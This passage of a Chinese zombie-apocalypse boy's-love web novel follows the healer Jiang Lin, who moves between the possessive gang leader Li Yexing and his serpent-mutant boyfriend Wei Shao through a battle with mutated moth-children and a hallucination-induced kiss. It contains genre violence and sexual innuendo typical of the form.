江林不置可否,没有回答他的问题,手心柔光闪烁,将李野行手臂上再不治就要愈合的伤口治愈了,手臂肌肤完美无痕,“好了,身上还有没有别的伤口?” 李野行对于他不搭话的行为生出一点玩味,散漫地说道:“有啊。” “哪儿?”江林认真的问。 李野行耍流氓的回答:“下面难受。” 江林愣了一下,抿了抿唇:“这个治不了。” “江医生也不行嘛。”李野行将手枪随意地扔在沙发上,拿起沙发上的袋子扔给江林,“去换上这个。” “这是什么?”江林蹙眉。 “放心不是情趣内衣。”李野行抬脚大爷似的搭在茶几上,嘴里叼着根烟,朝着他挑眉。 “换上今天的事儿算过了。” 江林朝里面看了一眼,确实不是什么奇奇怪怪的衣服,才去厕所换好。 李野行抽完大半根烟,白雾缭绕,眉眼慵懒,听见动静,抬眼看去。 水灵灵站在面前的少年,穿着一件淡紫色的短袖衬衣,像末世前学生穿的校服,扣子系到了最上面,修长的脖颈,禁欲单纯。下面是一条黑色的短裤,露出浅粉色的膝盖和线条流畅的小腿,小腿上夹着袜夹,中长的黑色筒袜,加上小皮鞋。 确实很正常,但末世谁会穿得这么精致? 李野行却觉得很满意,掐灭烟,朝着他勾了勾手,“过来。” “晚上很冷”江林声音很轻。 他被拉着坐在沙发上,李野行弯腰把他松松垮垮的袜夹夹稳,小腿白嫩的腿肉被勒出圈圈痕迹,筒袜更加衬得小腿纤细。男人的手指探入筒袜勾起摩挲,抬头看向江林,问:“紧不紧。” “不”江林摇头,脸颊有些红。 “我让人给你送两床保暖的被子,就穿这个。”李野行掌控欲很强,看着江林浑身穿着自己准备的东西会有一种异样的满足感,他甚至想最好江林的呼吸都由他来控制就好了。 江林唇线抿直,不等他反应,门口传来敲门声,伴随着男人的低沉的嗓音:“老大,你的烧鸡烤好了,拿进来吗?” “拿来吧。”李野行的门没锁,反正也没人敢贸然闯进来。 纸包着的烧鸡,呈现金黄色,外面油光发亮,带着可口的光泽,香味在空气中蔓延。江林下意识又咽了一口口水,李野行瞧了他一眼,撕了一个鸡腿,“给你。” 江林有些不好意思,客气地拒绝:“不用了,我吃饱了。” 李野行举着,眼神静静看着他。 江林脸颊有些烧得慌,伸手接过,“谢谢啊。” 李野行轻哼一声:“口水都要滴到地上了,还要给我装。” “我没有吧。”江林咬着鸡肉,里面的鸡肉很嫩,外焦里嫩,拯救味蕾,好吃得要流泪了 “那个”江林用纸巾擦了擦自己的手指,见他动作狂野地啃鸡,犹豫开口。 “什么?”李野行大刀阔斧地坐着,一双眼犀利得不行,仿佛下一秒就要开战。 “我可以问一下你的异能是什么吗?”江林找补到:“如果你觉得冒昧可以不回答。” “我也不知道。”李野行不知道自己异能的专有名词,无所谓任何隐藏,直接道:“我可以拉人的身体进入我的空间,也可以拉着人的灵魂进去” “里面的场景你可以随便变化吗?”江林眼眸微闪,主打一个知己知彼。 李野行瞧出点端倪,笑了:“怎么?你想干什么?” “我想看能不能提升我的精神力。”江林说出早就想好的借口,他想好了,治愈系异能是他保持人设的工具。那么他的精神系异能就是他的保命符,现在他只能硬控李野行一秒钟,如果以后时间能长一点,就能做很多事了 “还有就是您能保密吗?关于我异能。” 李野行突然发现江林真的和兔子很像,善良亲人,除非被逼急了才会露出一点毫无杀伤力的笨牙,而只要对他好一点,他又变得毫无防备。 似乎对谁都是这样的。 现在两人之间有了一点小秘密,李野行勾了勾唇:“我有好处吗?” 江林想了想,认真道:“以后我帮你免费治疗。” “但你帮别人治疗也不收费啊。”李野行摇了摇头,不同意这个方案。 “那怎么办?”江林有些为难。 “欠着吧,以后想到了再说。”李野行说。 “好。” 一个人的精力是有限的,李野行强势斩杀变异株,身体疲惫,原本是想要找江林的不痛快,但又被他四两拨三斤地打回去,没啥精气神继续和他周旋,所以摆了摆手:“你走吧。” 看在他这么听话的份上。 江林点了点头,“你有任何的不舒服都可以来找我。” 李野行靠在沙发上,仰头看着他,心中好笑,他不会把自己当好人了吧。 江林回自己房间的时候,在走廊看见了阴影中的隗绍,他手扶着扶手,那双冰冷竖瞳藏在暗处瞧不见神情,不知道站了多久。 “绍哥,你怎么站这儿了?是哪里不舒服吗?我去给你倒杯水吧”江林连忙凑到他身边,像是没看见他冰冷的表情,伸手扶住他的手臂,语气真诚关心得不行。 隗绍亲眼看着他从李野行的卧室出来,还穿成这副见不得人的样子,心中那是一个怨气横生,被戴绿帽这种行为是个人都接受不了吧。 现在隗绍觉得自己是那海里的千年大王八,不光要眼睁睁看着男朋友偷/情,还不能表现出任何的不对劲,气得他脑瓜子都疼。 “你去哪儿了?”隗绍声音很嘶哑。 “先去了那个方博士那里,被抽了一管血,又去给李野行治了下伤。”江林毫无隐瞒,看见他的脚踝纱布沁血,着急道:“我刚想去看看你,你的脚踝伤口又出血了,我先扶你回房间。” “哎,你这样我怎么放心你一个人呆着” 江林关心真诚得像没有掺杂一点虚假,撑着他的手臂,把他扶到房间,蹲下身给他治疗脚踝的伤口,脸色紧绷,仿佛真的因为他的伤势很紧张。 “最少今天不应该乱走的,好不容易好一点”江林柔软的语调,就算是责备也并不难让人接受。 “你有什么需要帮忙的完全可以和我说。” 见他这样,隗绍狰狞的面目都柔和了一些,阴狠变成了怀疑,江林这个人真的太奇怪了,表现得很关心他,但背地里又背叛 理性和感性又在隗绍心中拉扯。 “但是你没有在我身边。”隗绍硬梆梆地说道。 “分房的时候你又不说。”江林无奈地说道:“我等下扶你去我房间,你和石林睡,我好照顾你。” “为什么不能和你睡?”隗绍拧着眉,表情又不乐意了,现在就要开始为了李野行守身如玉了吗? 他还没死呢。 “人家小孩还小,我们别带坏他。”江林给隗绍的脚重新包扎了一下,处理好伤口,准备扶他走。 隗绍攥住江林的手,冰冷的手指附在温热肌肤上,眼瞳的非人感有些诡异冰冷,江林低头看着他,旋即被拉到怀里,屁股坐在他腿上。 江林瞬间像是被火撩了屁股,低声道:“你脚受伤了,这是干什么?!” “没事。”隗绍看着他的脸,视线在他唇上反复掠过,没有一丝异样,按下他的腰,让他坐在自己怀里,鼻尖凑到江林唇角轻嗅:“江林你有没有和别人接过吻?” 江林像是被他冰冷的呼吸弄得浑身僵硬,低垂着眼,圆润眼眸更加无害了,他说:“没有,这辈子就你亲过,骗人让我被丧尸咬死,天打雷劈” 见他发这样的毒誓,隗绍怔愣一瞬,眼神逐渐复杂,蛇瞳像是微微放大了一瞬,所以他误会了江林? “你是不是知道了什么?”江林伸手捧着他的脸,凑近看着他。 “没有。”隗绍却矢口否认,闻到他身上的香味,胃又在开始紧缩蠕动,分泌胃液,释放神经递质给大脑皮层,释放着想要吃掉他的讯息。 隗绍咬着牙克制着自己的欲望,心脏传来拉扯的痛感。 江林吻了吻他的眉心,语重心长又温柔深情:“你一定要相信我。” “好。”温柔的眉眼蛊惑人心,鬼使神差地隗绍回答了好。 安抚住时不时精神失常的隗绍,江林扶着他回到自己的房间,石林正在等他,有旁人在,倒也不担心隗绍会暴露本性。 第二天又是重复的戏码,江林被“请”到了李野行车里,许时自告奋勇的替隗绍他们开车,隗绍、李青青和石欢姐弟都在一辆车里,那两辆破烂小车被留在了原地。 李野行这次给了江林一个玻璃杯,里面装着牛奶,没有奶嘴。 江林先将玻璃杯放在自己的怀里,看向李野行的手腕,低声道:“你把右手给我一下。” 李野行嚼着口香糖,闻言,将右手伸过去,盯着他看。 江林细白的手指抓着他的手腕,指尖有淡淡的治愈的光晕,指腹轻揉着他紧绷的手腕。 他今天穿着李野行给他准备的衣服,瞧着像是从漫画里走出来的高中生,白色的发,蓝色的眼,有股异域的风情,下颌柔软,手指轻轻捏着他的手腕,垂眼的表情显得很乖。 李野行眉梢一挑,表情有些意味不明,一早烦躁的心情都像是被一股春风抚平了。 江林给他贴上药膏,解释道:“我昨天看你揉手腕,想来应该是右手超负荷了,给你贴个药膏缓一缓。” “这么细心啊。”李野行拉长语调,心中感叹江林的识时务,终于知道整个队伍谁才是真正的王。如果他一直这么乖,他可以考虑一下在床上让他少受点罪,允许他成为队伍第二个主人 但是很快李野行轻快的心情就变得很深沉起来。 “彭哥,昨天看你和别人聊天说胃疼,我在包里发现了一点胃药,你要不要吃两颗?”江林转头看着刚上车的彭晶,表情真诚,把药递过去。 彭晶有些惊讶他的细心,他胃疼是老毛病,昨晚抱怨了几句,胃药都吃完了,末世期间药品又是稀罕物件,没想到江林就这么放在心上,还给他找到了药片。 “啊?谢谢你啊,刚好胃药吃完了。” “还有给许时治病的时候发现他的眼睛好像有点发炎,我这里还有一些眼药水,你帮忙给他吧。”江林把小包塑料袋都递给他,笑眯眯说道。 “虽然不知道有没有用,但希望能帮到他吧。” 彭晶心中一暖,许时的异能是眼部变异,整个队伍都极为看重的异能,“我等会把许时提溜过来给你跪着道谢哈。” 像他们这样的人,很少会收获这些暖意,有事都是自己扛的,谁会好心帮你?都是对手,都是你死我活的关系,不给你心窝子里捅刀就不错了。 直到成年后,能力突出者被老大收编,才算是名义上有了伙伴兄弟,背刺才少了。 可是成年之后,谁还会轻易示弱?只会招人笑话。 江林的细心却让人感觉很舒服,如同暖流灌入,短暂地温暖心脾,虽然这些都是一些微不足道的关心,但问题是他们从小连微不足道的关心都没有啊。 他们都是第一次遇见江林这样的人,仿佛身上带着温柔的光环。 “不用不用。”江林笑着摆手,转身坐回自己的位置,拧开瓶盖,小口喝了一口,朝着李野行道谢:“谢谢你给我准备的牛奶。” 他一番操作下来,李野行脸上什么表情都消失了,听见道谢也似耳聋了般。 所以江林对他的关心,只是因为他本身性格温柔心软,他不是特例,甚至是最普通的那一个,捎带的。 这样的认知让李野行觉得江林真的不知好歹。 第49章 阳光炙热, 地面焦黄泛黑,像是被大火焚烧过后的荒芜。道路损坏严重,车辆只能绕道而行, 绕上了更大的圈子。沿海公路,旁边沙滩空无一人, 倒是有些散落的四肢和深褐色的血迹,垃圾杂乱,无人打理清扫。 蓝色的深海, 一望无际、平静无波的海面充满了未知的危险。若是有人走近就发现沙滩的沙砾都呈现一些拖拽痕迹,奇怪的脚印叠在一起看不出具体的形状。 全球的生物都在变异, 海洋中的也不例外,显然大家都意识到了这个问题,所以并没有停留在这里休息,车速飞快行驶而过。 江林看着窗外的风景,微微抿起唇,从前这里是非常有名的旅游景区。旺季的时候飞机票都比其他地方贵上一倍, 但依旧人流如潮, 现在却是死寂一般, 心中难免生出丝丝绝望感,仿佛全世界只剩下他们这些活人一般。 李野行车上的其他三人不算普通人, 完全不懂江林心中的想法, 悠闲地哼着小曲,姿态轻松惬意,像是去旅游度假。李野行唇角勾着笑, 眼底是压抑的兴奋,丝毫不觉得末世苍凉,只有藏不住的狂傲。 “江医生成年没啊?”彭晶和李野行聊天间还会带上江林, 语气依旧吊儿郎当,轻蔑的神情有了小小的改变。 “成年三个月了。”江林回答,礼貌性地反问:“你们呢?” “好小啊,我二十五,老大二十三,方博士的话不知道,他没说过。”彭晶聊家常似的,笑着说道:“啧,不是我说,你们那个徐和硕死得真是时候啊,他女朋友是叫李青青吧,她长得真他妈带劲哇。” 江林听他后半句,眉梢微微一蹙,垂着眼不搭他的话了,毕竟对于他来说,徐和硕的死是一件很悲伤的事情。 李野行见他有了小情绪,嘴唇都抿成了直线,忍不住轻笑一声:“你可别说这种话,我们江医生还是小学生,听不了这么糙的话。” 小学生江林:“” 总感觉在骂人。 彭晶比了一个OK的手势,笑起来:“懂了懂了,江医生毕竟和那个死人是好朋友嘛,不过死人已死,你能不能给我美言几句呢。” 他们也不都是李野行这种强取豪夺风格,毕竟李青青异能攻击性不弱,倒是没必要把人逼急了。 江林手揪住了安全带,好脾气地说道:“我可以是可以,但我说的应该没什么用,青青姐是一个很有主见的人。” “心意到就好了。”彭晶打住这个话题,并未放在心上。 “”方向阳从上车之后就沉默寡言,坐的位置和彭晶隔了一个人的空间。他的视线却时不时落在江林身上,观察他的动作和行为,试图发现他一些异于常人的地方。 时间推移半个小时,众人从海岸线的公路进入市区边沿,并没有横冲直撞进入沦为丧尸城的市中心,但是很快李野行便发现了不对劲,伸手捂住口鼻,眼神微凝:“联系老九他们。” 他们改装的车内有一定区域内的通讯方式,传来电磁声,滋滋作响,好不容易接通了,说话声却很混乱:“老大我们遭受了袭击好多蘑菇啊。” 彭晶转头一看,却发现身后老九的车开得横七竖八的,到处乱撞,引起了丧尸的注意,但他们根本没看见什么蘑菇。 “哇!好多花”江林双眼也出现迷离之色,抬手躲闪着什么,像是前面有东西在攻击他。 “戴上防毒口罩,快!”李野行单手戴上改良的防毒口罩,视线瞥了一眼中毒已深的江林,伸手要去拽人,却发现江林根本不配合,拿出刀来割他的手。最后还是彭晶从后面给他戴上口罩,但他还不老实,要去摘口罩。 李野行双眼闪过狠厉,视线中有丧尸围过来,油门一踩,率先冲出尸群,有丧尸摔在车前挡住他的视线,他紧踩油门没有半分松动,撞出一条血路。 江林也似乎从幻境中恢复了神智,看着眼前丧尸,没有出声询问,怕打扰到李野行的思绪,导致车毁人亡,逃离市区之后,百米远的地方是一个学校,此刻大门紧闭,空无一人。 身后的车辆也跟着过来,李野行准备穿过学校,却有股强烈的不安感,漆黑的瞳孔盯着名叫群英私立中学的学校,后面是追上来的丧尸成群,他只能选择向前。 江林表情有些紧绷,紧张地舔了舔唇,手攥紧了手中的刀和枪,重头戏就要来了。 只见车辆还未穿过学校,江林看见空中密密麻麻的黑点,从发现到被围攻不过是两分钟的时间,学校里飞出很多人形的大蛾,身后是白色或者灰色的翅膀,惨白的脸庞,额头有触角,裂开的嘴角有一根细长的舌头,还有猩红的口器。 学校原本的师生都变成了飞蛾人,朝着他们追来。彭晶最快架好枪,连发射击试图击退变异蛾人。飞蛾人扇动翅膀的时候有荧光的粉末从翅膀落下,落入眼睛中会瞬间刺激流泪,目不能视物。 李野行给江林扔了一个护目镜,“带着这个。” 江林没推辞,打开一点窗户瞄准射击,若是只打中飞蛾人的身体没办法一招致命,只有爆头才能最有效果,再无还手之力。 密密麻麻的飞蛾人蜂拥而至,让人头皮发麻,因为它们占据了天空优势。李野行带着几人冲出重围,但身后的车却没能跟着冲出来,大多数飞蛾都回到了飞蛾群中,团团包围住十几辆车。 江林感觉车停下,李野行找了一个空地停车,后备箱的枪支弹药,里面有足够多的子弹。他的身手很敏捷,对他来说长军刀才是最好的武器,速度甚至比枪械更快。 江林没有选择用枪,他更想要自己的身体强大,而不是借助工具。所以他选择了肉搏,飞蛾人的脸靠近在他眼前,由许多小眼组成的复眼,密密麻麻让有密集恐惧症的人窒息。他抬手先斩掉它的翅膀,才将刀刃刺入它的眉心,是一个长得很可爱的男生,这里面的变异飞蛾人都是十二到十五岁的孩子。 末世不会因为你是小孩而对你优待。 江林低下头,躲过头顶呼啸而过的蛾人,有惊无险地躲过。只有方向阳没有下车,不动如山地坐在车内,而彭晶正在守着车,不准任何东西进入。 他手臂被蛾人抓住,拽着他想往上拖拽。江林毫不犹豫割掉了它的胳膊,抬脚踹向它,一个后翻安全落地,刀剑滑过的鲜血在空中滑过一道漂亮的弧线。 李野行护目镜上落了厚厚一层荧光的粉尘,遮蔽了视线。他不得不找机会擦拭,也就是这个当口,身后传来惊慌的声音:“小心!” 从背后偷袭的蛾人口中伸出了尖锐的口器,李野行看着江林话音还未落下,人已经冲了过来,抬手就要用手臂挡住那口器。他眉心狠狠一跳,攥住他的手臂往前后一拖,两人重心不稳朝着后面倒去。他迅速将人按在自己身下,迅速换枪,一枪一个变异蛾人。 “你疯了不成,想要被吸干血了?”李野行将人拉起来,语气有些重又急,表情很凶:“你当什么救世主,管好你自己。” “哦好。”江林不生气,很快调整好自己的情绪,口罩中看不清他的笑容,但唇角是弯着的:“那你注意安全哦,保护好自己,我也是。” 他说完,李野行只觉得心跳声有些快,从刚刚那一声小心开始,仿佛触发了什么开关。明明很蠢的行为,他能够很完美地躲过,偏生被那直白又白痴的关心搅乱了心弦。 “”李野行难得没继续骂人。 江林原本还在疑惑,上次那个变异株很明显冲他来的,来势汹汹。这次飞蛾人却没有对他进行强势围剿,当他看见一双血红的复眼时,心中一凉,砍向这个飞蛾人的刀没有对它造成任何的伤害,它除了那双眼其他地方和其他蛾人一模一样。 蛾人抓着他的胳膊,力量巨大,他瞬间悬于地面。江林拿枪,枪也被翅膀打落。江林心中一紧,蛾人口中的口器伸长只差一点就要扎进他的眼睛里,而他的手臂还被它牢牢锁住,无法阻止。 重演了刚刚江林对李野行的戏码,李野行踩着那些飞蛾人一跃而起,抬手抓着它的口器,手心瞬间被割伤,鲜血顺着口器被吸入蛾人口中,李野行拽着飞蛾人和江林进入了自己的领域。 江林只觉得眼前一黑,视线再清晰,就是在某处沙漠之中。他被扔在一旁,李野行正压着年轻的蛾人揍,依稀还能看出它小男孩的模样,大概一米二三的样子,头硬如铁,连李野行都砍不动它。 男人高大的身躯压在他身上显得有些不公平。 但下一秒,男蛾翅膀扇动,瞬间从地上飞起,抓着李野行撞到了沙漠的石头上。李野行立刻抓着他的腿,直接将蛾人拽下来摔在地上,江林走上前帮忙。 翅膀一个扇动,还没走近,江林就被掀飞了,李野行喊了一声:“你别过来,找个地方蹲好。” 江林这才不动了,意思到位就行了,找了一个大石头躲了起来。 很好,剧情没有太大的变化,原剧情中也是李野行和这个最强飞蛾人单打独斗,最后废了九牛二虎之力杀死了这个小boss,只是江林在这里面穿插了一个英雄救美的情节。 虽然不知道能不能感动李野行,但最少会打消他一点怀疑了吧。 两人上天入地,在沙地里打了个难舍难分,不分伯仲,江林试探地开了两枪,在差点爆了李野行的头后,老实了,有些怀疑他要来揍自己了。 眼见着李野行拽着它的两个胳膊,手臂力量爆发。它露出痛苦的神色,口器从嘴中露出,下一瞬就要扎进李野行的颈侧动脉。江林使用了一秒的精神异能困住它,发出一声撕拉声,胳膊被硬生生拽断了。蛾人被摔在地上,李野行抱住它的脑袋,手臂鼓动着肌肉,颈骨被扯断得脆响,脖子上的血肉被拉扯得血肉模糊。 头身分离,血洒现场,空中似乎还飘动着荧光的粉末。江林连忙走上前,关心地问道:“我先给你治伤。” 李野行喘着气,阻止了他的动作,“先出去。” 两人出现在原来的战场中,因为boss死了,蛾人群明显变得杂乱无序,那封锁圈出现破绽,彭晶掐准时间扔出手榴弹往空中一炸,炸死十来只。 李野行身上有红眼蛾人的血,居然让那些蛾人不敢再靠近,甚至后退起来。几人掩护着后面的车辆突围,最终逃出了飞蛾人群。 江林回头看去,正巧在转弯处,他看见空中飘飞的蛾人,它们正在空中远远看着他们,没有再追出来,仿佛那个学校区域是它们的牢笼,带着无形的枷锁。 每个人身上都是一片狼藉,除了方向阳,他拿出酒精朝着空气中喷了喷。 彭晶/江林/李野行:“” 彭晶确定了一下伤亡情况,有两个队友被吸干了血,分食了肉。还有三人重伤,是从蛾人嘴里救回来的,听到这里,江林蹙了蹙眉:“让我去他们车上吧。” 李野行看了一眼灰头土脸的少年,耳朵脖子上都是荧光的粉末,显得锁骨发亮,他想摘口罩,“别摘口罩,这些粉末有致幻效果。” “好,先让我换一下车,时间紧急,慢一秒都可能有人死掉。”江林有些急,明明自己体力和异能都告急,还是想要优先救人。 “老九上来,让刘子来我车上,钱罐子你抬着受伤的人也去老九车上。”李野行倒也没有反对,车速减缓,后面两辆车有序插队上前,江林下车去了老九的车上。 三排位置,坐着三个重伤的人,身上都进行了简单的止血处理。有一个是被口器刺穿了肚皮,还有一个手臂被扯断了,最后一个最为严重身体像是筛子,都是口器穿透的孔,倒也算福大命大,十几道伤口,硬是没伤到他的致命要害,但也只剩下一口气了。 江林深吸一口气,车内气氛有些凝重,血腥味刺鼻无比,无意识的痛苦呻吟声显得极为压抑,他先去看了一下即将流血而亡的那位。 他露出一张年轻的脸,苍白的脸色,眉毛很浓。江林看着那些被血沁红的绷带,稳了稳心神,伸手落在他伤口处,释放异能的同时将脏污的绷带拿了出来,露出里面狰狞的血肉,脏器都能窥见一斑,异能一定程度上缓解了他的疼痛。 江林的异能不够他全身伤口愈合,只能暂时止住他喷涌而出的血液,但经历一场大战,他的精神力枯竭,治愈系异能也需要他的精神力作为辅助的。他记得在原剧情中的江林和方向阳坐在车里,一直保存着实力。但在救人的时候,也没有全部救回来,他手上这位异能者就死掉了。 从前排后视镜往后看去,驾驶位和副驾驶位的两人都在关注着后面的动静,虽然没有用直白的眼神打量,却也是极为认真地表情,身后的少年整个人都是灰头土脸的,白发沾上了灰尘,身上也有伤口。 原本莹白的手掌因为长时间用力地握枪拿刀,出现一道长长的红痕,久久不消。他戴着口罩,双眼通红,额前暴起浅色的青筋,释放异能的双手都在发颤。 能够看出来其实他已经到了极限,经历了一场恶战,所有人的精神都是紧绷的,身体却是精疲力尽的,大家都知道异能耗尽的痛苦,如果强行驱使,就像是在透支生命榨干身体,每一个细胞都疲惫不堪,肌肉每一寸都生疼撕扯。 两人都能看出来,江林的异能早就耗尽,一直在咬牙强撑,手中的白色暖光忽大忽小,直到这人身上的伤口止住血,他才撑着手臂喘了口气,但还没歇上两秒,就转身对向另外一个伤患。 韩悦原本感觉自己像是被扔进了绞肉机里,浑身都被搅碎得疼。但很快一股清凉舒缓的感觉充斥着他的伤口皮肉,他有一股强烈的欲望,想要看看是谁在帮他止痛? 少年眼睛睁开一条细小的缝隙,逆着光看见一道背影,模糊中看见了他的白发,瞧见了他被光模糊的侧脸,没看清楚他的样子,却感觉到了他身上的光芒 老九对于江林的印象算是发生了天翻地覆的改变,原本瞧他的样子,几乎所有人都觉得白发少年长得这么漂亮精致,肤白貌美,未经风霜的样子。应该属于象牙塔中的公主,没有经历过任何的风雨和摧残。 他们看见老大喜欢,就把他当个小玩意,但也只是玩物而已,是没有人格的玩具。 可今天后视镜中,那些想法按在他身上不合适了,像是在侮辱这个坚韧善良的少年。 突然他们便发现了一个事实,他们不是讨厌圣父心的人,而是讨厌他的善良没有作用在他身上,生气他的圣光没有照耀到他。 当他生命垂危之时,有这样一个善良的人,就算非亲非故也要拼命救你,你真的会讨厌吗? 只怕恨不得跪下来求他吧。 老九一个一贯开车开得飞起的男人,现在却老实平缓地驾驶着,没有一丝颠簸。 江林不知道他们的想法,他只有一个念头,救人。既然动手救了,就一定要救回来,否则做的全部都是无用功。 他因为精神力枯竭,脑袋抽抽地疼,像是有针在扎,针尖一点点地刺入,让他知难而退,让他放弃手上的动作。 那位腹腔被刺穿的男人,是他之前救过的绿眼男人,他这次露出了他深邃的面容。他还算清醒,看着江林先救了别人,脸上身上全是冷汗。 江林朝着他安抚地笑了笑:“又是你,不用担心好吗?我不会让你死的。” 绿眼男叫奎克,他是外国人。他原本的确很担心,因为已经观察发现江林将大部分的异能都用来治疗其他人了,直到这个笑容出现,他心中微安。 江林面不改色地将他的肠子塞进去,又缝合好,在这个过程中,他的异能没有停歇地释放着 直到基本伤势全部治疗完毕,江林才回到自己位置上,眼皮垂下,没有一秒就睡着了。他现在急需睡眠恢复精力,口干舌燥却也没有办法再管了。 找到落脚的地方,是一个偌大的加油站,算是着前不着村,后不着店的地方最好的栖息地了,车内三个伤患被抬了出去,奎克甚至一直保持着清醒,他感觉自己已经活过来了。 异能者的恢复能力恐怖如斯。 江林太累了,停车之后,任人叫了两声都没醒。 隗绍凑上前看到江林的睡颜,嘴唇发白,满脸疲惫,口罩出现凝结的白雾。他眉梢一蹙,不能理解为什么要对这些人这么卖力,就算死了几个又怎么样。 他虽然也有小伤,但并不重,他二话不说钻进车里,将人抱了出来。 而刚下车,隗绍便迎面看见了下车走过来的李野行,他那双黑眸带着冰冷的笑意,朝着他直接走了过来。隗绍对他可以说是有灵魂的恐惧和恨意,他控制不住抱紧了江林的腿。 但他抱男朋友下车天经地义,有什么争议吗? 天逐渐泛黑,原本带着燥意的风瞬间变得凌冽,吹得人浑身冰冷。李野行每走一步,所有人心就跟着悬一寸,表情都有些凝重,只有隗绍怀里的江林睡得香甜无比。 “谁准你抱他的?”李野行人狠话不多,打开保险栓,抬手那枪就对准了隗绍的头顶,满身匪气,让人一时分不清谁才是江林真的男朋友。 隗绍气得脸色如同黑锅,气血翻涌,就算知道这个男人可能真的会一枪崩掉他,但是这一刻自尊心战胜了恐惧,他蛇瞳阴冷:“他是我的人。” 李野行听到这话,嗤笑一声,双眼满是鄙夷:“你算什么东西啊?嗯?” “你想试试脑袋和我的子弹谁更硬吗?我成全你。” 众人一惊,是知道李野行性子的,老九资历最高,率先开口:“老大,这么晚了,有什么事情等江医生醒来再说吧。” 彭晶搓了搓手臂,低声说道:“是啊,老大,这大晚上怪冷的,我们先进去吧。” “是啊,是啊,何必和一个不人不蛇的玩意计较这些” “”李野行看着不过一天就“叛变”这么多的队友,脸上玩味的笑容更加深了,眼神也越发冷,对于这些人的劝阻充耳不闻,枪怼着隗绍的太阳穴更重了些,“把人给我。” “”隗绍咬牙不动,他今天不想当王八,想当勇士。 队伍里的人又开口了。 “咱们老大一向说一不二,别自讨没趣的,把江医生给他吧。” “老大不会做什么的,只是想要江医生给他治病。” “江医生都睡着了,谁抱都行是吧?” “啊对对对,老大想给江医生喝点牛奶,补补身体。” “”所有人看向说这句话的人。 许时顿时炸毛,解释道:“就是泡的牛奶,每天早晨老大给江医生泡的那个,不是其他的” 第50章 所有人在给隗绍递台阶, 揣着明白装糊涂,谁都知道这是个什么情况。隗绍好像能感觉到他们虚伪面孔下的嘲笑,他懊恼又气闷, 可是这么多人,都是李野行的队友, 现在闹僵可能真的要重新死一回。 暂时,恐惧战胜了自尊。 他安慰只是抱一下,没什么的。 李野行看着他隐隐发抖的手指, 唇角勾了勾,他喜欢看着有傲骨的人在他面前弯下脊梁, 而且这人还是江林的男朋友。 当隗绍手中的江林被抱走后,所有人都松了一口气,状似无事地拍拍他的肩膀:“正好,你受了伤,可以好好休息一下。” “嗯嗯,今天你也累了, 先挑房间吧。” 殊不知这些人的欲盖弥彰更加刺痛男人的自尊心。 李野行抱着江林跟着彭晶找了一间打扫干净的房间, 江林的身上还是脏的, 口罩也还没摘。 他找来毛巾,给江林擦拭了一下锁骨上的粉末灰烬, 摘掉口罩, 他的脸上泛起一点红,轻轻擦了擦。李野行视线有瞬间的恍神,脑海中出现他义无反顾冲上来保护他的模样。 如果是其他人倒是还会怀疑一下他的意图, 但是江林真的不会有人怀疑,就像他天生就有爱人的心。 “嘶。”江林睫毛轻颤,发出一声轻声呻/吟, 人幽幽转醒,眼瞳水润润地看着他,视线有些呆滞,下一秒,他朝着李野行伸出手臂。 李野行眼神一凝,拧着眉,眼神有些疑惑,不懂江林什么意思。 少年的蓝眼在光下不太聚焦,表情有些委屈似的,声音很轻,撒娇般:“抱” 李野行看着这么主动的江林,双眼都瞪大了一瞬,这是干什么?因为身体难受,内心脆弱,所以趁着不舒服,现在就能够随便撒娇求抱了吗? 虽然满心疑惑,但李野行遵从本心张开手,弯腰把人抱住,江林很乖地勾住他的脖子,湿辘辘的脸在他颈侧蹭了蹭,小动物似的。 李野行忍不住嘲了一句:“怎么?这就被吓到了?这么胆小” 江林脸颊泛红,呼吸也有些急促,热乎乎的气体洒在李野行的肌肤上,有羽毛拂过,让李野行呼吸都放轻了。 直到江林从红润的唇瓣之间吐出让李野行浑身僵直的两个字:“绍哥” 李野行瞬间眯了眯眼,抬手掐住江林的下颌,表情异常凶狠,咬牙切齿地盯着他的眼睛:“你他妈把我认成谁了?” 江林眼底摄入灯光,泛着湛蓝晶莹的光,眼底却是迷糊疑惑的眼神,他有些无辜地凑上前亲他的唇:“隗绍” 李野行脑袋嗡嗡作响,这辈子从没有受过这种屈辱,表情宛如裂开了,顿时失去了手上的力气,唇角传来一抹湿润的触感。 江林正亲吻着他的唇角,小口吮着,动作娴熟地撬开他的双唇,似乎察觉不到他身上汹涌澎湃的情绪,双眼黝黑汇聚翻涌的黑云和阴云密布的脸。 江林眯着眼,手捧着李野行的脸,有些迷茫,似乎不理解他的不配合,继续在火上浇油,“张嘴,绍哥” “老子张个屁,你睁开眼看看,我到底是谁。”李野行捏着他的脸,双眼在冒火了,明明这副样子的江林他早就在脑子里肖想了很多遍,现在却提不起半点兴趣。 江林蹙眉,睁大眼认真看了一下,依旧得出了相同的结论:“隗绍啊。” “我操了”李野行松开掐着他的手,偏头骂了一句。 这是致幻效果还没完全褪去,或者说江林精神力枯竭,没能抵抗住幻觉的影响。 江林像是触发了什么关键词,似乎经常这么哄男朋友高兴,他伸手拽住李野行的衣领将人拉了下来,吻在他唇上,手还探入衣摆在他结实的腹肌上摸了摸,语气黏糊糊的撒娇:“隗绍,给我/操/操好不好?” “”李野行不知道该怎么解释这火热又冰冷的感觉,木着脸看着摸他腹肌的少年,很想扇他,让他清醒一点,但最终没舍得到了嘴边的香甜柔软。 原本对江林固有的思维又打破了。 而站在门口缝隙间窥见屋内春色风光的隗绍,彻底疯狂了。 他左思右想依旧放心不下,也咽不下这口气,所以找了过来,没想到就看见江林和李野行接吻的场景。 李野行高大的身躯几乎完全挡住了江林的身体,只有两个白皙的手臂环着他的脖子,两人缠在一起,男人的手在江林裸露的小腿上摩挲,粗长的手指捏着他白皙的腿肉揉搓着 隗绍早有预料,所以虽然气恼,倒是也能咬着牙忍了,毕竟早有心理准备。但知道江林那一声似有若无的”隗绍”响起,他整个人如有雷击,将他身体劈开了。 江林把李野行认成了自己? 江林从头到尾都只有自己? 李野行这个卑鄙无耻、乘人之危的小人! 那瞬间,隗绍什么都管不了了,心口炙热一片,燃气了血性,血液瞬间冲上了脑门,浑身肌肉紧绷,脸上的蛇鳞凸现,门从外面打开,直冲李野行后背 李野行正咬着江林的舌尖,感受到危险,抱着他躲开,转头便看见朝着他咬过来的大蟒,毫无防备被咬住了身体,江林滚到床底下,一人一蛇冲破窗户走了。 两人的打斗声,让机敏的异能者察觉到什么,纷纷朝着江林屋里涌来。 结果就看见晕倒在地上的江林,窗户坏掉了,其他两人无影无踪。 老九彭晶几人面面相觑,李青青和石欢把江林扶到床上,也管不了他的衣服还是脏的,末世也讲究不了这么多。 